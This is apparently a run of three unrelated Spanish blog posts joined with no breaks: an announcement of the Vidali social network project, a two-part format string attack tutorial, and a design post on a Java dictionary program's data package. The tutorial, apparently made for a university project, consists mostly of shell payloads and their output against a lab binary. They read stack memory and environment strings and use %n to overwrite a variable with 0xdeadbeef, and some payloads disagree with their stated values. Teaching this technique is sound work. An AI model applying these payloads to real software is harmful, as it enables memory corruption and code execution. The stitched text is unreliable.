Hola!, a partir de hoy, el proyecto ya se encuentra en fase pre-alpha, y está actualizado el código de subversion, por lo que el que lo desee puede colaborar en el proyecto.
Por lo que el principal motivo de este post es para dejar clara un par de ideas acerca del proyecto:
-NO debería ser otro clon de facebook (aclaro: Tuenti ya es uno… por si no lo sabían.. xD), por lo que no me gustaria ver un boton de “me gusta” o que salgan 10000 paginas sobre señoras haciendo algo…
-Se supone que es un cliente instalable en cualquier servidor (como wordpress) pero que, al ser una red social, debe ser importante la seguridad, tanto del código del proyecto, como de la seguridad de la informacion y contenido de los usuarios.
-Se busca sobretodo sencillez y rendimiento antes que estética: Por lo que, en un principio, no deseo implantar flash en la página (obviamente en cosas como videos, se podrá usar para solucionar la falta de un codec de video definitivo en HTML5).
-Compatibilidad con Navegadores: NO pienso dar compatibilidad a los navegadores obsoletos, es decir, determinadas características quedarán fuera del alcance de usuarios del famoso IE6… PREVALECE EL APOYO A LOS NUEVOS ESTANDARES!. Por lo que, la red será visible correctamente solo en Chrome, Firefox 4, IE9 (si en realidad lo hacen como lo pintan a fecha de hoy ), y las últimas versiones de Opera y Safari. En el caso de otros navegadores, pues queda claro que deberán estar basados en las ultimas versiones de Webkit, o Gecko.
-Facilidad de uso e instalación: Esto es quizás la clave de la aceptación o rechazo de vidali como red social… Se podría poner un millon de funcionalidades para que hasta te prepare el cafe (WTF!?…es broma ) pero principalmente lo que quiero es que esta red sea facil de usar para personas actualmente activas en el mundo de internet, como somos los jovenes y las empresas, y también que sea facil para personas que no suelen usar un equipo informático (gente mayor, niños, los cuales y según mis propósitos, podrian tener una versión adaptada para su mayor facilidad de uso, y en el caso de los niños, al ser un tema “especial”, tratar de que la red a la que pertenezcan pueda tener un filtro de seguridad controlado por sus padres o profesores).
Mayor y mejor conectividad (Principal punto):
Muchas de las redes sociales actuales se basaron en la premisa “haz amigos por un tubo, da igual que no los hayas visto en tu vida, que te lleves mal con ellos, que te agreguen por ver quien eres, etc… ellos y tu son nuestra oferta para todos…”, y esta premisa (que me ha quedado bastante larga creo…) nos lleva a ver interesantes perfiles como la de alguna chica que podría ser modelo y tiene 1523 amigos… ¿un poco caótico verdad?.
Pues bien, es precisamente esa clase de “mal habito” provocado por las propias redes actuales la que me gustaría cambiar, y es que muchos nos hemos dejado llevar por la via del “cotilleo su perfil a ver que ha hecho…”, por lo que me gustaría que las relaciones entre las personas sean por sus gustos, y que la gente que conoces sea gente con la que puedas hablar de los temas que realmente te apasionan.
Para ello no basta usar la red de “colegio , universidad o trabajo”, sino tambíen que se use el punto de aficiones como un puente entre usuarios. Y, al ser una red social semi-centralizada (la parte centralizada no se implementará de momento, avisados quedan ) pues las redes pueden combinarse de muchas maneras distintas. Por ejemplo:
Música (Red 1) | Rap (Red 2) | Rock (Red 3) | Pop (Red 4) [Existe una relacion directa entre las 4 redes!, la red Música puede ser la semilla central del resto de redes...]
Red 2 <—> Red 3 [Pueden tener una relacion adicionarl aparte del a red Música, por lo que pueden crear otra conección]
Red 2<-||->Red 4 [Solo se relacionan con la red Música, pero sus usuarios (por tendencias) no podrían llegar a congeniar... las 2 redes pueden bloquearse mutuamente, dejando el unico puente de coneccion "limitado": Música]
Con esto, se puede conseguir una mejor comunicacion entre usuarios (e indirectamente, evitar algo ya famoso en internet como el troleo o flame wars).
En fin, a grosso modo, esto sería un esbozo de los principales puntos a tener encuenta en vidali, y que de momento se debe implementar para crear una comunidad realmente fuerte!. Espero que el ladrillo de texto no sea demasiado dificil y pesado de entender… Aunque hay muchas cosas por aclarar, y de momento, se explicaran por separado en otras entradas.
Saludos!
Buenas!, Como primera noticia oficial desde el lider y unico miembro del proyecto vidali xD, les dejo lo que ahora mismo es…
Vidali Pre-alpha
De momento, es lo que ha hecho “a mano” por mi… y liberaré el codigo en cuando sea posible para que los interesados puedan colaborar en el proyecto… de momento espero sugerencias a través de este blog, y trataré de colocar en siguientes entradas cuales son los objetivos a cumplir.
Saludos!
PD: No se extrañen de mi manera de escribir, trato de ser ameno para no parecer un soso aburrido del que luego hacen una peli llamada “la red social”…xD
Seguimos con la serie de entradas dedicadas a la técnica Format String Attack
AdvertenciaPara realizar las pruebas y obtener los resultados esperados se ha utilizado úna versión desactualizada del compilador gcc, concretamente la 3.4, debido a que la última versión no respetaba los flag para evitar las protecciones de pila.Cuando vayas a compilar alguno de los códigos vulnerables asegúrate antes de hacerlo poniendo el flag -fno-stack-check.Escribiendo direcciones de memoriaAl igual que hemos estado usando %x y %s para acceder a los contenidos de las direcciones de memoria, con %n podemos escribir directamente en ellas.root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example BBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%xCorrecto:BBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%xIncorrecto:BBBB.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.42424242(-) Valor @ 0x08049648 = 50 0x00000032La variable Valor está en la dirección de memoria 0x08049648, usando %n seremos capaces de sobreescribir su contenido:root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%nCorrecto:H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%nIncorrecto:H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.(-) Valor @ 0x08049648 = 41 0x00000029El valor de la variable dependerá del número de formatos que insertemos antes de %n:root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%20x.%nCorrecto:H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%20x.%nIncorrecto:H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0. 0.(-) Valor @ 0x08049648 = 60 0x0000003cGracias a esto podemos jugar un poco y decrementar o incrementar el valor, según nos interese. Nuestro siguiente objetivo será escribir en la dirección de memoria donde se encuentra nuestra variable:
Pero como bien sabemos, una pila se caracteríza por una estructura LIFO (Last Input First Output) por tanto, la representación interna en memoria deberá ser al revés. El primer valor de la variable deberá ser 0xef, seguido de 0xbe, 0xad, 0xde y las respectivas direcciones a ocupar serán 0x08049648, 0x08049649, 0x0804964a, 0x0804964b.Para alcanzar nuestro objetivo debemos seguir los siguientes pasos:
Comencemos por escribir 0xef en la dirección 0x08049648:root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%nCorrecto:H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%nIncorrecto:H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.(-) Valor @ 0x08049648 = 41 0x00000029La operación 0xef - 41:>>> 0xef - 41198Y de offset sumamos 1 (esto puede variar en cada equipo):>>> 198 + 1199root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%199x.%nCorrecto:H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%199x.%nIncorrecto:H�.bffff6d0.b7fe3000.0.0.0.0.0.0.0.0. 0.(-) Valor @ 0x08049648 = 239 0x000000efNecesitamos otro argumento más para que el contador de byte se incremente y nos permita obtener 0xbe. Este argumento puede ser cualquiera, sólo debe cumplir la condición de tener 4 bytes y colocarse justo en la primera dirección de memoria arbitraría posterior a 0x08049648. Y como todo esto debe de ir en el format string que queremos inyectar es fácilmente controlable, así que vamos a buscar una palabra de 4 bytes como "HOLA" y escribamos nuestro format string:"\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"Escribamos ahora 0xef en la primera dirección del búffer:root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%nCorrecto:H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%nIncorrecto:H�HOLAI�HOLAx4a�HOLAK�.bffff6c0.b7fe3000.0.0.0.0.0.0.0.0.0.(-) Valor @ 0x08049648 = 67 0x00000043Obtenemos como valor para la variable 67:>>> 0xef-67172A la resta le sumamos el offset adecuado:>>> 172+1173Y obtenemos que el valor que debemos aplicar es 173:root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%nCorrecto:H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%nIncorrecto:H�HOLAI�HOLAx4a�HOLAK�.bffff6c0.b7fe3000.0.0.0.0.0.0.0.0. 0.(-) Valor @ 0x08049648 = 239 0x000000efAhora escribamos 0xbe en la segunda dirección del búffer:>>> 0xbe - 0xef-49El valor -49 es negativo y no puede ser insertado en la pila, como solución podemos usar el truco del bit menos significativo y obtener así el valor correcto al restar 0x1be - 0xef: >>> 0x1be - 0xef207root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n.%205x.%nCorrecto:H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n.%207x.%nIncorrecto:H�HOLAI�HOLAx4a�HOLAK�.bffff6b0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 414c4f48.(-) Valor @ 0x08049648 = 114415 0x0001beefAhora escribamos 0xad en la tercera dirección del búffer:>>> 0xad-0xbe-17Volvemos a encontrarnos con el mismo error de antes, para resolverlo, nuevamente usamos el bit menos significativo, y restamos 0x1ad-0xbe:>>> 0x1ad-0xbe239root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"`%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%nCorrecto:H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%239x.%nIncorrecto:H�HOLAI�HOLAx4a�HOLAK�.bffff6b0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 41544554.. 41544554.(-) Valor @ 0x08049648 = 44941039 0x02adbeefPor último escribamos 0xde en la cuarta dirección del búffer:>>> 0xde-0xad49Como este valor sí resulta positivo, podemos inyectarlo automáticamente:root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"`%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n.%47x.%nCorrecto:H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n.%47x.%nIncorrecto:H�HOLAI�HOLAx4a�HOLAK�.bffff6a0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 41544554.. 41544554.. 41544554.(-) Valor @ 0x08049648 = -559038737 0xdeadbeefSi observamos el valor que tenía nuestra variable al principio, veremos cómo ha cambiado:(-) Valor @ 0x08049648 = 50 0x00000032(-) Valor @ 0x08049648 = -559038737 0xdeadbeefY hasta aquí cubrimos con la entrada de hoy, para la siguiente trataré de explicar algunas técnicas como DPA(Direct Parameter Access) para acceder directamente a la posición deseada en la memoria, sobreescribir las secciones .dtors y veremos cómo todo esto puede simplificarse mediante una herramienta que se encargue de construirnos automáticamente la inyección.
Serie de entradas que servirán de ejemplo para explicar los Format String Attack.
IntroducciónLos Format String son simples cadenas, caracterizadas por el formato que se les aplica. Si has programado anteriormente en cualquier lenguaje estarás familiarizado con la función printf().Dicha función toma como primer parámetro la cadena a mostrar, y una serie de variables que permiten formatear la salida por stdout.Los formatos más comunes que se pueden utilizar son:
Format String VulnerabilityLa vulnerabilidad viene por el mal uso que se la da a la función printf, cuando un programador la utiliza como printf(cadena) en lugar de printf("%s", cadena). Aunque el resultado devuelto es el mismo y funciona correctamente.La omisión del parámetro de formateado deriva en un bug que podría ser aprovechado por un atacante para provocar la ejecución de código malicioso.Veamos un ejemplosebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example prueba.Correcto: prueba.Incorrecto: prueba.(-) Valor @ 0x0804a024 = 50 0x00000032Funciona perfectamente, y el programador en ningún momento advierte ningún fallo, pero si hacemos la misma prueba pasándole un format string como parámetro concatenado a la cadena obtenemos lo siguiente:sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%xCorrecto: BBBB%xIncorrecto: BBBBbfa675ee(-) Valor @ 0x0804a024 = 50 0x00000032La familia de funciones formatHay una serie de funciones de formato definidas en el ANSI C, algunas utilizadas para cubrir necesidades básicas y otras más complejas basadas en estas primeras, que si bien no entran dentro del estándar, si están disponibles para su uso.Funciones básicas:
Otras:
La pila y su funcionamientoEl comportamiento de la función de formato es controlado por el format string. Recuperando los parámetros solicitados desde la pila.Así:printf("Número %d sin dirección, número %d con dirección: %08x\n", i, a, &a);El aspecto de la pila para la instrucción anterior es el siguiente: Donde:
La función de formato parseará la cadena A, leyendo carácter a carácter y copiándolo en la salida mientras que este no sea '%'. En el momento de encontrarlo el carácter a continuación de '%', especificará el tipo de parámetro a evaluar.La cadena '%%' se comporta de forma especial, y permite imprimir a la salida el carácter '%'. Los otros parámetros se relacionan con el resto de datos alojados en la pila.Leyendo direcciones de memoriaCuando usamos el formato %x estamos obligando a que nos muestre por stdout la representación de una palabra de 4-byte en la pila.Si queremos conocer la dirección que apunta al string que hemos introducido, deberemos introducir varios formatos de cadena hasta obtener el valor hexadecimal de esta.sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x%x%x%x%xCorrecto:BBBB%x%x%x%x%xIncorrecto:BBBBbffb85e60000(-) Valor @ 0x0804a024 = 50 0x00000032Probando un poco mássebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x%x%x%x%x%x%x%x%x%x%x%xCorrecto:BBBB%x%x%x%x%x%x%x%x%x%x%x%xIncorrecto:BBBBbfd6f5d80000b78cc0000bfd6f44400042424242(-) Valor @ 0x0804a024 = 50 0x00000032Los cuatro bytes de 0x42 indican que el duodécimo parámetro de formato está leyendo del principio de la cadena de formato para obtener sus datosPero si una dirección de memoria válida es usada, este proceso se puede usar para leer un string que se encuentre en esa dirección.Como ejemplo vamos a utilizar la función getenv() de C, que nos devuelve un string con el contenido de la variable de entorno que le hemos pasado como parámetro. Nosotros vamos a servirnos de esto para conocer la dirección de memoria donde se encuentra, y así demostrar cómo leer los datos que se encuentran en una posición válida.El código de uso para getenv() es el siguientesebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ gcc getenvaddr.c -o getenvaddrVamos a localizar la dirección de la variable LOGNAME que contiene el usuario con el que nos logueamos en la máquina.sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ echo $LOGNAMEsebassebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./getenvaddr LOGNAMELOGNAME está localizada en 0xbfa07e44Ahora sabemos que la cadena "sebas" está almacenada en la dirección 0xbfa07e44. Usemos el format string %x y %s con localización exacta para obtener el valor.sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example `printf "\x44\x7e\xa0\xbf"`%x%x%x%x%x%x%x%x%x%x%x"->"%sCorrecto:D~��%x%x%x%x%x%x%x%x%x%x%x->%sIncorrecto:D~��bf92d5d60000b780d0000bf92c874000->sebas(-) Valor @ 0x0804a024 = 50 0x00000032sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example `printf "\x44\x7e\xa0\xbf"`%x%x%x%x%x%x%x%x%x%x%x"->"%xCorrecto:D~��%x%x%x%x%x%x%x%x%x%x%x->%xIncorrecto:D~��bf9615d60000b77530000bf95fd74000->bfa07e44(-) Valor @ 0x0804a024 = 50 0x00000032En la siguiente entrada veremos cómo escribir en direcciones de memoria y algunos trucos para ello
En la entrada anterior hablamos de la estructura del programa y de como se distribuía la funcionalidad dentro de éste. Pues bien, hoy iniciamos una serie de artículos sobre el paquete crítico de JavaDiKt, el paquete data
.
El paquete data
aúna en sí todas las clases Java que representan a cualquier tipo de dato en JavaDiKt, además de aquellas que se encargan de almacenar y recuperar todos los datos que el usuario requiere usando la interfaz visual del programa. Éstas características convierten a data
en el paquete crítico que, en mayor medida , determinará la velocidad de funcionamiento del programa.
Cuando comencé el proceso de diseño, pensé que era importante diferenciar claramente entre modelado de datos y almacenaje y recuperación de datos, por lo cual dividí el paquete en dos subpaquetes principales: el paquete data.kanji
es cuasi-estático, es decir, apenas define los métodos de consulta y establecimiento de campos sobre clases que representan datos; el paquete data.dic
, sin embargo, contiene todos los métodos necesarios para generar consultas, ejecutarlas y obtener resultados.
Pensé en añadir un nuevo paquete, el paquete data.auxi
, en el cual se definirían todas aquellas clases genéricas que pudiesen usarse más allá de JavaDiKt. Así pues, varias clases tanto de data.kanji
como de data.dict heredarían de data.auxi.
En el paquete data.dict
se separan las funcionalidades de ejecución de búsquedas y de la definición de una búsqueda en el mismo paquete data.dict
y en el subpaquete data.dict.query
respectivamente.
Partiendo de estas consideraciones pensé que lo mejor era elaborar un diagrama de clases previo al proceso de desarrollo. Pincha sobre la imagen siguiente para poder verlo correctamente:
Diagrama de clases en lenguaje natural del paquete data
A excepción de los nombres de las clases y debido a que debe servir como una guía para la programación, tanto los nombres de los campos como los nombres de los métodos están escritos en español y describen claramente la función que realizan. Estos nombres irán cambiando poco a poco a sus nombres finales en inglés a medida que se vayan implementando las clases.
El diagrama pretende ser UML, pero alguien que sepa un poco seguro que encuentra cientos de fallos. Nunca he estudiado UML en profundidad, así que no puedo estar seguro de que lo que hecho sea correcto, pero eso no significa que no sea útil. Por si acaso he metido la pata o hay alguien que tampoco tenga mucha idea sobre ésto, explicaré qué significa cada ítem:
A quien le pueda interesar, el programa está hecho con el fabuloso programa de software libre Dia. Existen versiones tanto para Windows como para Linux, donde suele venir por defecto en la mayoría de los repositorios oficiales de muchas distribuciones de Linux. Este diagrama en formato nativo puede obtenerse desde el repositorio SVN de la forja del proyecto, en la carpeta /resources/Developing.
Y con esto terminamos la entrada de hoy. En las próximas entradas ahondaremos en los distintos subpaquetes de data, enfocándonos más en las decisiones de diseño y motivaciones de las clases más importantes.